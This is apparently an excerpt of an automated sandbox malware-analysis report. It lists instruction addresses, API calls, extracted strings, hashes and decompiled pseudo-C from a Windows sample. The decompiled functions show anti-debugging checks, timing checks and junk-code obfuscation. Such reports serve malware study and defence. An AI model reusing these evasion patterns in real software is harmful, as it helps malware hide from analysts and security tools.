0x00426443
0x0042644d
0x00426458
0x0042645a
0x00426461
0x0042646b
0x00426474
0x0042647a
0x0042649e
0x004264a8
0x004264ab
0x004264c0
0x004264c0
0x004264c6
0x004264cc
0x004264d3
0x004264da
0x004264ed
0x004264f0
0x00426440
0x00426440
0x004264f8
0x004264ff
0x00426509
0x0042650c
0x00426525
0x00426528
0x0042652e
0x0042653f
0x00426542
0x00426548
0x00426556
0x00426590
0x004265a9
0x004265af
0x004265b2
0x004265bd
0x004265bf
0x004265bf
0x00426558
0x00426558
0x0042655e
0x00426568
0x00426577
0x0042657a
0x00426583
0x00426585
0x00426585
0x0042658b
0x004265c5
0x004265e0
0x004265ed
0x004265f7
0x00426609
0x0042660c
0x00426616
0x00426631
0x00426634
0x0042664f
0x00426658
0x00426662
0x00426677
0x0042667a
0x00426687
0x0042668d
0x004266b1
0x00426649
0x00426649
0x004265da
0x004265da
0x004266c7
0x004266c8
0x004266ca
0x004266cd
0x004266db
0x004266e0
0x004266e9
0x004266ff
0x00426702
0x00426709
0x00426716
0x00426726
0x00426728
0x00000000
0x00426728
0x0042672e

APIs

GetEnvironmentStringsW.KERNEL32 ref: 004262D1
GetEnvironmentStringsW.KERNEL32 ref: 004262D7
IsDebuggerPresent.KERNEL32 ref: 00426373
IsDebuggerPresent.KERNEL32 ref: 004263EC
GetTickCount.KERNEL32 ref: 004264C6
GetCommandLineA.KERNEL32 ref: 00426528
GetCommandLineA.KERNEL32 ref: 00426542
GetTickCount.KERNEL32 ref: 00426558
GetTickCount.KERNEL32 ref: 00426585
GetEnvironmentStrings.KERNEL32 ref: 004265BF

Strings

`, xrefs: 004264FF
F&, xrefs: 004264D3
g, xrefs: 004265B9
X`, xrefs: 0042647A
=q, xrefs: 00426321
6, xrefs: 004263DA
Vf, xrefs: 004262E6

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CountEnvironmentStringsTick$CommandDebuggerLinePresent
String ID: 6$=q$F&$Vf$X`$`$g
API String ID: 916435558-4116446055
Opcode ID: fd25dd9d819c5119e94ccf7d77eba37563f5fdbadaf23822464bf268660793df
Instruction ID: b8508d1cbe3b6be28f5a1d719ed8d4e83f64bf3d2bc130fe069a7f26efb74e93
Opcode Fuzzy Hash: fd25dd9d819c5119e94ccf7d77eba37563f5fdbadaf23822464bf268660793df
Instruction Fuzzy Hash: 5FE1BDB4E00219DFDB18CF98D984AADBBB1FF48304F20819AD419BB254D7746A85CF59

Function 00430782, Relevance: 25.8, APIs: 17, Instructions: 308

C-Code - Quality: 65%

			E00430782(void* __edx, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				void* _v16;
				intOrPtr* _v20;
				char _v24;
				char _v28;
				intOrPtr _v32;
				char _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t124;
				void* _t128;
				void* _t131;
				void* _t133;
				void* _t134;
				void* _t147;
				void* _t148;
				void* _t153;
				void* _t154;
				intOrPtr* _t156;
				void* _t160;
				void* _t167;
				void* _t168;
				void* _t172;
				void* _t177;
				void* _t182;
				void* _t187;
				intOrPtr _t189;
				void* _t212;
				intOrPtr _t213;
				char _t220;
				void* _t223;
				void* _t227;
				signed int _t228;
				intOrPtr _t232;
				intOrPtr _t233;
				void* _t234;
				intOrPtr _t235;
				intOrPtr _t236;
				intOrPtr _t237;
				intOrPtr _t238;
				void* _t239;
				void* _t240;
				void* _t241;
				void* _t242;
				void* _t243;
				void* _t244;
				void* _t245;
				void* _t246;
				void* _t247;

				_t227 = __edx;
				_t228 = 0;
				E0042AB46( &_v40, 0, _a4);
				_t238 =  *((intOrPtr*)(_v40 + 0xd4));
				_v8 = 0;
				do {
					_v24 = E0042AA00( *((intOrPtr*)((_v8 << 2) + _t238 + 0x1c)));
					_t124 = E0042AA00( *((intOrPtr*)((_v8 << 2) + _t238)));
					_v8 = _v8 + 1;
					_t16 = _v24 + 2; // 0x2
					_t228 = _t124 + _t228 + _t16;
				} while (_v8 < 7);
				_v20 = _t238 + 0x38;
				_v16 = 0xc;
				do {
					_v24 = E0042AA00( *((intOrPtr*)(_v20 + 0x30)));
					_t128 = E0042AA00( *_v20);
					_v20 = _v20 + 4;
					_t220 = _v24;
					_t26 =  &_v16;
					 *_t26 = _v16 - 1;
					_t29 = _t220 + 2; // 0x2
					_t228 = _t128 + _t228 + _t29;
				} while ( *_t26 != 0);
				_t212 = E0042AA00( *((intOrPtr*)(_t238 + 0x9c)));
				_t131 = E0042AA00( *((intOrPtr*)(_t238 + 0x98)));
				_t34 = _t212 + 2; // 0x2
				_t133 = E0042AA00( *((intOrPtr*)(_t238 + 0xa0)));
				_t134 = E0042AA00( *((intOrPtr*)(_t238 + 0xa4)));
				_v12 = _t131 + _t228 + _t34 + _t133 + 1 + _t134 + 1 + E0042AA00( *((intOrPtr*)(_t238 + 0xa8))) + 0xb9;
				_t213 = E0042B5BD(_t131 + _t228 + _t34 + _t133 + 1 + _t134 + 1 + E0042AA00( *((intOrPtr*)(_t238 + 0xa8))) + 0xb9);
				_t240 = _t239 + 0x18;
				if(_t213 == 0) {
					L28:
					if(_v28 != 0) {
						 *(_v32 + 0x70) =  *(_v32 + 0x70) & 0xfffffffd;
					}
					return _t213;
				}
				_t44 = _t213 + 0xb8; // 0xb8
				_t232 = _t44;
				E0042B700(_t213, _t232, _t238, _t213, _t238, 0xb8);
				_v8 = _v8 & 0x00000000;
				_v20 = _t213;
				_t241 = _t240 + 0xc;
				_v20 = _v20 - _t238;
				_v16 = _t238 + 0x1c;
				do {
					 *((intOrPtr*)(_t213 + _v8 * 4)) = _t232;
					_t147 = E0042AA8B(_t227, _t232, _t213 - _t232 + _v12,  *((intOrPtr*)(_v16 - 0x1c)));
					_t242 = _t241 + 0xc;
					if(_t147 != 0) {
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						E00429943(_t213, _t220, _t227, _t232, 0);
						_t242 = _t242 + 0x14;
					}
					_t148 = E0042AA00(_t232);
					_t221 = _v20;
					_t233 = _t232 + _t148 + 1;
					 *((intOrPtr*)(_v20 + _v16)) = _t233;
					_t153 = E0042AA8B(_t227, _t233, _t213 - _t233 + _v12,  *_v16);
					_t241 = _t242 + 0x10;
					if(_t153 != 0) {
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						E00429943(_t213, _t221, _t227, _t233, 0);
						_t241 = _t241 + 0x14;
					}
					_t154 = E0042AA00(_t233);
					_v8 = _v8 + 1;
					_v16 = _v16 + 4;
					_pop(_t220);
					_t232 = _t233 + _t154 + 1;
				} while (_v8 < 7);
				_t71 = _t213 + 0x68; // 0x68
				_v8 = _t71;
				_t156 = _t238 + 0x38;
				_v16 = _t156;
				_v24 = 0xc;
				while(1) {
					_t222 = _v20;
					 *((intOrPtr*)(_t156 + _v20)) = _t232;
					_t160 = E0042AA8B(_t227, _t232, _t213 - _t232 + _v12,  *_t156);
					_t243 = _t241 + 0xc;
					if(_t160 != 0) {
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						E00429943(_t213, _t222, _t227, _t232, 0);
						_t243 = _t243 + 0x14;
					}
					_t234 = _t232 + E0042AA00(_t232) + 1;
					 *_v8 = _t234;
					_t167 = E0042AA8B(_t227, _t234, _t213 - _t234 + _v12,  *((intOrPtr*)(_v16 + 0x30)));
					_t241 = _t243 + 0x10;
					if(_t167 != 0) {
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						E00429943(_t213, _t222, _t227, _t234, 0);
						_t241 = _t241 + 0x14;
					}
					_t168 = E0042AA00(_t234);
					_v16 = _v16 + 4;
					_v8 = _v8 + 4;
					_t90 =  &_v24;
					 *_t90 = _v24 - 1;
					_pop(_t223);
					_t232 = _t234 + _t168 + 1;
					if( *_t90 == 0) {
						break;
					}
					_t156 = _v16;
				}
				 *((intOrPtr*)(_t213 + 0x98)) = _t232;
				_t172 = E0042AA8B(_t227, _t232, _t213 - _t232 + _v12,  *((intOrPtr*)(_t238 + 0x98)));
				_t244 = _t241 + 0xc;
				if(_t172 != 0) {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E00429943(_t213, _t223, _t227, _t232, 0);
					_t244 = _t244 + 0x14;
				}
				_t235 = _t232 + E0042AA00(_t232) + 1;
				 *((intOrPtr*)(_t213 + 0x9c)) = _t235;
				_t177 = E0042AA8B(_t227, _t235, _t213 - _t235 + _v12,  *((intOrPtr*)(_t238 + 0x9c)));
				_t245 = _t244 + 0x10;
				if(_t177 != 0) {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E00429943(_t213, _t223, _t227, _t235, 0);
					_t245 = _t245 + 0x14;
				}
				_t236 = _t235 + E0042AA00(_t235) + 1;
				 *((intOrPtr*)(_t213 + 0xa0)) = _t236;
				_t182 = E0042AA8B(_t227, _t236, _t213 - _t236 + _v12,  *((intOrPtr*)(_t238 + 0xa0)));
				_t246 = _t245 + 0x10;
				if(_t182 != 0) {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E00429943(_t213, _t223, _t227, _t236, 0);
					_t246 = _t246 + 0x14;
				}
				_t237 = _t236 + E0042AA00(_t236) + 1;
				 *((intOrPtr*)(_t213 + 0xa4)) = _t237;
				_t187 = E0042AA8B(_t227, _t237, _t213 - _t237 + _v12,  *((intOrPtr*)(_t238 + 0xa4)));
				_t247 = _t246 + 0x10;
				if(_t187 != 0) {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E00429943(_t213, _t223, _t227, _t237, 0);
					_t247 = _t247 + 0x14;
				}
				_t189 = _t237 + E0042AA00(_t237) + 1;
				_t226 = _t213 - _t189 + _v12;
				 *((intOrPtr*)(_t213 + 0xa8)) = _t189;
				if(E0042AA8B(_t227, _t189, _t213 - _t189 + _v12,  *((intOrPtr*)(_t238 + 0xa8))) != 0) {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E00429943(_t213, _t226, _t227, _t237, 0);
				}
				goto L28;
			}

0x00430782
0x00430791
0x00430793
0x0043079b
0x004307a1
0x004307a4
0x004307b6
0x004307b9
0x004307c0
0x004307cc
0x004307cc
0x004307cc
0x004307d5
0x004307d8
0x004307df
0x004307ec
0x004307ef
0x004307f4
0x004307fa
0x004307ff
0x004307ff
0x00430802
0x00430802
0x00430802
0x00430819
0x0043081b
0x00430828
0x0043082c
0x0043083b
0x00430857
0x0043085f
0x00430861
0x00430866
0x00430ac3
0x00430ac7
0x00430acc
0x00430acc
0x00430ad6
0x00430ad6
0x00430873
0x00430873
0x00430879
0x0043087e
0x00430885
0x00430888
0x0043088b
0x0043088e
0x00430891
0x00430894
0x004308a6
0x004308ab
0x004308b0
0x004308b4
0x004308b5
0x004308b6
0x004308b7
0x004308b8
0x004308b9
0x004308be
0x004308be
0x004308c2
0x004308c7
0x004308ca
0x004308d1
0x004308df
0x004308e4
0x004308e9
0x004308ed
0x004308ee
0x004308ef
0x004308f0
0x004308f1
0x004308f2
0x004308f7
0x004308f7
0x004308fb
0x00430900
0x00430903
0x0043090b
0x0043090c
0x0043090c
0x00430916
0x00430919
0x0043091c
0x0043091f
0x00430922
0x0043092e
0x0043092e
0x00430931
0x0043093f
0x00430944
0x00430949
0x0043094d
0x0043094e
0x0043094f
0x00430950
0x00430951
0x00430952
0x00430957
0x00430957
0x00430960
0x00430967
0x00430978
0x0043097d
0x00430982
0x00430986
0x00430987
0x00430988
0x00430989
0x0043098a
0x0043098b
0x00430990
0x00430990
0x00430994
0x00430999
0x0043099d
0x004309a1
0x004309a1
0x004309a4
0x004309a5
0x004309a9
0x00000000
0x00000000
0x0043092b
0x0043092b
0x004309b2
0x004309c0
0x004309c5
0x004309ca
0x004309ce
0x004309cf
0x004309d0
0x004309d1
0x004309d2
0x004309d3
0x004309d8
0x004309d8
0x004309e1
0x004309ec
0x004309fa
0x004309ff
0x00430a04
0x00430a08
0x00430a09
0x00430a0a
0x00430a0b
0x00430a0c
0x00430a0d
0x00430a12
0x00430a12
0x00430a1b
0x00430a26
0x00430a34
0x00430a39
0x00430a3e
0x00430a42
0x00430a43
0x00430a44
0x00430a45
0x00430a46
0x00430a47
0x00430a4c
0x00430a4c
0x00430a55
0x00430a60
0x00430a6e
0x00430a73
0x00430a78
0x00430a7c
0x00430a7d
0x00430a7e
0x00430a7f
0x00430a80
0x00430a81
0x00430a86
0x00430a86
0x00430a8f
0x00430a97
0x00430a9a
0x00430ab2
0x00430ab6
0x00430ab7
0x00430ab8
0x00430ab9
0x00430aba
0x00430abb
0x00430ac0
0x00000000

APIs

_strlen.LIBCMT ref: 004307AE
_strlen.LIBCMT ref: 004307B9
_strlen.LIBCMT ref: 004307E5
_strlen.LIBCMT ref: 004307EF
_strlen.LIBCMT ref: 0043080E
_strlen.LIBCMT ref: 0043081B
_strlen.LIBCMT ref: 0043082C
_strlen.LIBCMT ref: 0043083B
_strlen.LIBCMT ref: 0043084A

Part of subcall function 0042B5BD: Sleep.KERNEL32(00000000,00000001,?,00429892,00000018,0043AD50,0000000C,00429921,?,?,?,0042F055,00000004,0043AFA8,0000000C,0042B610), ref: 0042B5DA

_strlen.LIBCMT ref: 004308C2
_strlen.LIBCMT ref: 004308FB
_strlen.LIBCMT ref: 0043095B
_strlen.LIBCMT ref: 00430994
_strlen.LIBCMT ref: 004309DC
_strlen.LIBCMT ref: 00430A16
_strlen.LIBCMT ref: 00430A50
_strlen.LIBCMT ref: 00430A8A

Part of subcall function 00429943: IsDebuggerPresent.KERNEL32 ref: 004299ED
Part of subcall function 00429943: SetUnhandledExceptionFilter.KERNEL32 ref: 004299F7
Part of subcall function 00429943: UnhandledExceptionFilter.KERNEL32(?), ref: 00429A01
Part of subcall function 00429943: GetCurrentProcess.KERNEL32(C000000D), ref: 00429A1C
Part of subcall function 00429943: TerminateProcess.KERNEL32(00000000), ref: 00429A23

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: _strlen$ExceptionFilterProcessUnhandled$CurrentDebuggerPresentSleepTerminate
String ID:
API String ID: 1975150641-0
Opcode ID: ba9b40fc6bc3fe3233caf6d8bed328e6daa407ef0dc53476a620d531aeffb99f
Instruction ID: fa6bac630bb2dbb913de13ae093a48f300209aca990e58d175fc789253af6820
Opcode Fuzzy Hash: ba9b40fc6bc3fe3233caf6d8bed328e6daa407ef0dc53476a620d531aeffb99f
Instruction Fuzzy Hash: A7A1D6B1A00204AFCB11EF75DD46AFEB7B9EF44308F44456EEC05A7202D739AA15CB66

Function 00425C20, Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 167
thread

C-Code - Quality: 90%

			E00425C20(signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr* _v60;
				intOrPtr _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int* _v84;
				struct _OSVERSIONINFOA _v252;
				struct _OSVERSIONINFOA _v412;
				signed int* _v420;
				signed int* _v424;
				void* _t148;

				_v28 = 0xf14644a7;
				_v44 = 0xfbe361ce;
				_v16 = 0x2d;
				_v56 = (_v44 & _v16) * _v28;
				GetCommandLineA();
				GetTickCount();
				_v20 = 0xf6ac;
				_v36 = 0x6816;
				_v60 =  &_v20;
				_v56 = _v56 -  *_v60 - _v36;
				_v24 = 0x7a6e;
				asm("cdq");
				_v56 = _v20 / (_v24 + 1) * _v56;
				_a4 = 0xfce509c9;
				_v40 = _a4 - _v20;
				if(_a4 < 0x4db9) {
					_v20 = _v20 - _v36 * _v16;
					GetTickCount();
					_v32 = 0x52;
					_v12 = _v32 - _v24;
				} else {
					asm("cdq");
					_v44 = _v24 / (_v36 + 1) * _v44;
					_v32 = (_v16 | _v40) - _v20;
				}
				_v68 = 0;
				while(_v68 < 2) {
					_v80 = 0;
					while(_v80 < 1) {
						GetTickCount();
						_v52 = 0xf1892c18;
						_v8 = 0xd3a7;
						_v84 =  &_v8;
						_v76 = _v52 *  *_v84;
						_v72 = _v28 * _v24;
						_v80 = _v80 + 1;
					}
					_v48 = 0xf096392b;
					_v72 = 0xf1b91a7d;
					_v48 = _v48 - (_v48 | 0x00006449) * _v72;
					_v68 = _v68 + 1;
				}
				_v52 = 0x3d;
				if(_v40 != _v52) {
					_v20 = (_v36 + _v36) * _v20;
					_v12 = 0xfdce02a8;
					asm("cdq");
					_v8 = (_v12 & 0x00000034) / (_v44 + 1);
					asm("cdq");
					_v12 = _v12 - _a4 / (_v40 + 1);
				} else {
					_v8 = 0xff9b815b;
					if(_v8 >= 0xa85f) {
						GetCommandLineA();
						GetVersionExA( &_v252);
						GetVersionExA( &_v412);
					}
					GetTickCount();
				}
				_v12 = 0x1d;
				_v36 = _v12 * _v16 + _v36;
				if(_v12 <= 0x87) {
					_v32 = 0xf681dc98;
					_v424 =  &_v32;
					asm("cdq");
					_v44 =  *_v424 / (_v12 + 1) * _v44;
					_v420 =  &_v40;
					_v20 = ((_v12 | 0x00007218) + ( *_v420 & 0x0000d9de)) * _v20;
					GetTickCount();
				}
				_t148 = GetCurrentThread();
				_v8 = (_a4 | 0xfe691f6f) * _v40;
				return _t148;
			}

0x00425c29
0x00425c30
0x00425c37
0x00425c48
0x00425c4b
0x00425c51
0x00425c57
0x00425c5e
0x00425c68
0x00425c78
0x00425c7b
0x00425c8b
0x00425c92
0x00425c95
0x00425ca2
0x00425cac
0x00425cdb
0x00425cde
0x00425ce4
0x00425cf1
0x00425cae
0x00425cb7
0x00425cbe
0x00425cca
0x00425cca
0x00425cf4
0x00425d06
0x00425d0c
0x00425d1e
0x00425d24
0x00425d2a
0x00425d31
0x00425d3b
0x00425d47
0x00425d51
0x00425d1b
0x00425d1b
0x00425d56
0x00425d5d
0x00425d75
0x00425d03
0x00425d03
0x00425d7a
0x00425d87
0x00425dcb
0x00425dce
0x00425de1
0x00425de4
0x00425df0
0x00425df8
0x00425d89
0x00425d89
0x00425d97
0x00425d99
0x00425da6
0x00425db3
0x00425db3
0x00425db9
0x00425db9
0x00425dfb
0x00425e0c
0x00425e16
0x00425e18
0x00425e22
0x00425e36
0x00425e3d
0x00425e43
0x00425e65
0x00425e68
0x00425e68
0x00425e6e
0x00425e81
0x00425e87

APIs

GetCommandLineA.KERNEL32 ref: 00425C4B
GetTickCount.KERNEL32 ref: 00425C51
GetTickCount.KERNEL32 ref: 00425CDE
GetTickCount.KERNEL32 ref: 00425D24
GetCommandLineA.KERNEL32 ref: 00425D99
GetVersionExA.KERNEL32(?), ref: 00425DA6
GetVersionExA.KERNEL32(?), ref: 00425DB3
GetTickCount.KERNEL32 ref: 00425DB9
GetTickCount.KERNEL32 ref: 00425E68
GetCurrentThread.KERNEL32 ref: 00425E6E

Strings

nz, xrefs: 00425C7B
=, xrefs: 00425D7A
-, xrefs: 00425C37
R, xrefs: 00425CE4

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CountTick$CommandLineVersion$CurrentThread
String ID: -$=$R$nz
API String ID: 3188356010-2783502280
Opcode ID: ada9ff43be8748f13402827cf363728030dd95f86937977a18d6c27e35fbc754
Instruction ID: c551213135835b0834ca110d0bbc534bcd868347090858874e8dff6172a723a7
Opcode Fuzzy Hash: ada9ff43be8748f13402827cf363728030dd95f86937977a18d6c27e35fbc754
Instruction Fuzzy Hash: B081CCB0E00219CFDB18CF98D9899EDBBB5FF48304F20915AE415BB254D774AA42CF54

Function 00427220, Relevance: 23.0, APIs: 8, Strings: 5, Instructions: 242
thread

C-Code - Quality: 90%

			E00427220(signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr* _v32;
				signed int* _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr* _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int* _v84;
				signed int* _v92;
				intOrPtr _v96;
				signed int _v100;
				signed int _v104;
				intOrPtr _v116;
				signed int* _v120;
				intOrPtr _v124;
				signed int* _v132;
				intOrPtr _v136;
				struct _OSVERSIONINFOA _v292;
				signed int* _v296;
				signed int _v300;
				signed int _v304;
				signed int _v312;
				signed int _t217;
				signed int _t223;

				_v56 = 0xf7432184;
				_v20 = 0xf049fbe2;
				_v36 =  &_v56;
				asm("cdq");
				_a4 = ( *_v36 & 0x000000c0) / (_v20 + 1);
				_v68 = 0xf0580b4e;
				_v8 = 0xfb28e139;
				if(_v68 == _v8) {
					_v52 = 0xf2a09f97;
					_v24 = _v68 * _v52;
				}
				GetCommandLineA();
				_v24 = 0xff4bf35f;
				_v44 = 0x891e;
				_v64 = _v24 + _v44;
				_v28 = 6;
				if(_v56 != _v28) {
					_v52 = 0x50;
					_v40 = 0x18;
					if(_v52 > _v40) {
						GetCurrentThread();
						_v100 = 0x5b66;
						_v8 = _v8 - (_v100 | 0x000000d3) + (_v28 & 0x00000039);
						_v12 = 0xf778d33e;
						_v104 = 0xf7;
						_v100 = _v100 - (_v12 & _v20) * _v104;
					} else {
						_v96 = 0x7af4;
						_a4 = (_v96 - _v96) * _a4;
						_v16 = 0x83;
						_v92 =  &_v16;
						_v84 =  &_v56;
						_v12 = 0x3459;
						asm("cdq");
						_a4 = ( *_v92 & _v12) / (_v56 + 1) * _a4;
						asm("cdq");
						_v8 = _v8 - (_v20 & _v56) / (_v64 + 1);
					}
					IsDebuggerPresent();
					_v12 = 0x8afd;
					_v8 = _v12 + _v68 + _v8;
				} else {
					_v40 = 0xa9;
					_v72 = (_v40 | _v64) * _v28;
					_v60 = 0x32e2;
					_v76 = 0x92;
					_a4 = (_v60 | 0x0000005e) * (_v68 & _v76) + _a4;
					_v60 = _v60 - _v72 - _v44;
				}
				_v16 = 0xfd9d7d0f;
				_v32 =  &_v16;
				_v20 = (_v56 +  *_v32) * _v20;
				_v48 =  &_v56;
				_a4 = _a4 -  *_v48 - _v16;
				if(_v56 < 0xf65e2091) {
					_v12 = 0xaff6;
					_v132 =  &_v68;
					_v120 =  &_v12;
					_v24 = _v24 - ( *_v132 | 0xf942ee74) + ( *_v120 | 0xf74bcbe4);
					_v124 = _a4 + _v68;
					goto L15;
				} else {
					_v116 = 0;
					while(_v116 < 3) {
						GetEnvironmentStringsW();
						_v116 = _v116 + 1;
					}
					L15:
					_v136 = 0;
					while(_v136 < 4) {
						_v40 = 0xf324a38d;
						asm("cdq");
						_v44 = _v40 / (_v16 + 1) + _v44;
						_v296 =  &_v68;
						_v300 = 0x7298;
						_v68 = (_v20 & _v64) * ( *_v296 | _v300) + _v68;
						GetVersionExA( &_v292);
						_v136 = _v136 + 1;
					}
					if(_v68 != 0x4f) {
						_v304 = 0xacad;
						_v40 = 7;
						_a4 = ((_v304 | 0x00000062) + _v40) * _a4;
					}
					_v60 = 0xf3c6;
					asm("cdq");
					_v64 = _v64 - _v56 / (_v60 + 1);
					GetCurrentThread();
					if(_v44 != 0xa4ff) {
						if(_v56 != _v16) {
							GetTickCount();
							_v52 = 0xd724;
							_v8 = _v60 - _v52 + _v8;
						} else {
							_a4 = (_a4 - _v28) * _a4;
						}
						asm("cdq");
						_t217 = (_v64 | _v16) / (_v16 + 1);
						_v12 = _t217;
						return _t217;
					}
					GetCommandLineA();
					asm("cdq");
					_t223 = _v8 / (_a4 + 1);
					_v312 = _t223;
					return _t223;
				}
			}

0x00427229
0x00427230
0x0042723a
0x0042724d
0x00427250
0x00427253
0x0042725a
0x00427267
0x00427269
0x00427277
0x00427277
0x0042727a
0x00427280
0x00427287
0x00427294
0x00427297
0x004272a4
0x004272f0
0x004272f7
0x00427304
0x00427365
0x0042736b
0x00427387
0x0042738a
0x00427391
0x004273a7
0x00427306
0x00427306
0x00427317
0x0042731a
0x00427324
0x0042732a
0x0042732d
0x00427342
0x00427349
0x00427358
0x00427360
0x00427360
0x004273aa
0x004273b0
0x004273c0
0x004272a6
0x004272a6
0x004272b7
0x004272ba
0x004272c1
0x004272da
0x004272e8
0x004272e8
0x004273c3
0x004273cd
0x004273dc
0x004273e2
0x004273f2
0x004273fc
0x00427420
0x0042742a
0x00427430
0x00427450
0x00427459
0x00000000
0x004273fe
0x004273fe
0x00427410
0x00427416
0x0042740d
0x0042740d
0x0042745c
0x0042745c
0x00427477
0x00427480
0x00427490
0x00427496
0x0042749c
0x004274a2
0x004274c6
0x004274d0
0x00427471
0x00427471
0x004274dc
0x004274de
0x004274e8
0x004274ff
0x004274ff
0x00427502
0x00427512
0x0042751a
0x0042751d
0x0042752a
0x0042754c
0x0042755d
0x00427563
0x00427573
0x0042754e
0x00427558
0x00427558
0x00427582
0x00427583
0x00427585
0x00000000
0x00427585
0x0042752c
0x0042753b
0x0042753c
0x0042753e
0x00000000
0x0042753e

APIs

GetCommandLineA.KERNEL32 ref: 0042727A
GetCurrentThread.KERNEL32 ref: 00427365
IsDebuggerPresent.KERNEL32 ref: 004273AA
GetEnvironmentStringsW.KERNEL32 ref: 00427416
GetVersionExA.KERNEL32(?), ref: 004274D0
GetCurrentThread.KERNEL32 ref: 0042751D
GetCommandLineA.KERNEL32 ref: 0042752C
GetTickCount.KERNEL32 ref: 0042755D

Strings

P, xrefs: 004272F0
2, xrefs: 004272BA
f[, xrefs: 0042736B
Y4, xrefs: 0042732D
O, xrefs: 004274D8

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CommandCurrentLineThread$CountDebuggerEnvironmentPresentStringsTickVersion
String ID: O$P$Y4$f[$2
API String ID: 2488351590-1176892958
Opcode ID: 5026f157b940504cab3d2850e635e1919bfedc77a6d13ce2f13aefc2dcad5c20
Instruction ID: aff607ed1b2625d3bea315b2097ad55570cdb3bcd9d2d77d280fd2797ccefe9e
Opcode Fuzzy Hash: 5026f157b940504cab3d2850e635e1919bfedc77a6d13ce2f13aefc2dcad5c20
Instruction Fuzzy Hash: 98C1AE75E05219EFCB18CF98D994AEDBBB2FF48304F20815AE845AB344D774AA45CF48

Function 00407DE0, Relevance: 22.8, APIs: 3, Strings: 10, Instructions: 91libraryloader

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

LoadLibraryA.KERNEL32(00000000), ref: 00407EAB
GetProcAddress.KERNEL32(00000000,ProcessIdToSessionId), ref: 00407EC3

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

FreeLibrary.KERNEL32(00000000), ref: 00407F0C

Strings

8, xrefs: 00407E2A
L, xrefs: 00407E22
ProcessIdToSessionId, xrefs: 00407EBA
1, xrefs: 00407E12
C, xrefs: 00407E32
&, xrefs: 00407E06
p, xrefs: 00407E1A
CCbkTy, xrefs: 00407E8C
q, xrefs: 00407E1E
(, xrefs: 00407E02

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$FreeLibraryProcess$AddressAllocLoadProc
String ID: &$($1$8$C$CCbkTy$L$ProcessIdToSessionId$p$q
API String ID: 326076303-2247680775
Opcode ID: d015cb73efeef10f05d0535e85230db873f06cf4f885f44dcb5dded3e9c6d43a
Instruction ID: 442394ca6b1a6c832875c8269b1370d8d8fb4e04cc2fb03c449d7344866e93ea
Opcode Fuzzy Hash: d015cb73efeef10f05d0535e85230db873f06cf4f885f44dcb5dded3e9c6d43a
